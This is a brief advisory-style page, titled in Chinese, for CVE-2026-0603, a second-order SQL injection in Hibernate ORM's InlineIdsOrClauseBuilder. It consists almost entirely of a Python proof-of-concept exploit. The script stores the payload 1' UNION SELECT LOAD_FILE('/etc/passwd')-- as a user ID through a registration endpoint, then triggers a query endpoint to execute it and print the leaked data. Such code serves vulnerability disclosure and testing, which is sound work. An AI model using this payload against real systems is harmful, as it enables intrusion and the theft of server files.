CVE-2026-0603: Hibernate二阶SQL注入漏洞

# CVE-2026-0603 PoC - Hibernate Second-Order SQL Injection # Target: Hibernate ORM with InlineIdsOrClauseBuilder # This PoC demonstrates the second-order SQL injection via ID column import requests import json TARGET_URL = "http://target-application.com/api" def exploit_second_order_sqli(): """ Step 1: Register user with malicious ID payload """ malicious_payload = "1' UNION SELECT LOAD_FILE('/etc/passwd')--" register_data = { "username": "attacker", "email": "[email protected]", "id": malicious_payload # Injecting malicious ID } response = requests.post(f"{TARGET_URL}/users/register", json=register_data) print(f"[+] User registration response: {response.status_code}") """ Step 2: Trigger the vulnerable query (second-order injection) When InlineIdsOrClauseBuilder processes the stored ID, the malicious payload is executed """ trigger_data = { "action": "list_users", "user_ids": [malicious_payload] # Triggers InlineIdsOrClauseBuilder } response = requests.post(f"{TARGET_URL}/users/query", json=trigger_data) print(f"[+] Query trigger response: {response.status_code}") if response.status_code == 200: print("[+] SQL Injection successful - sensitive data may be exposed") print(f"Response: {response.text}") return response.text if __name__ == "__main__": exploit_second_order_sqli()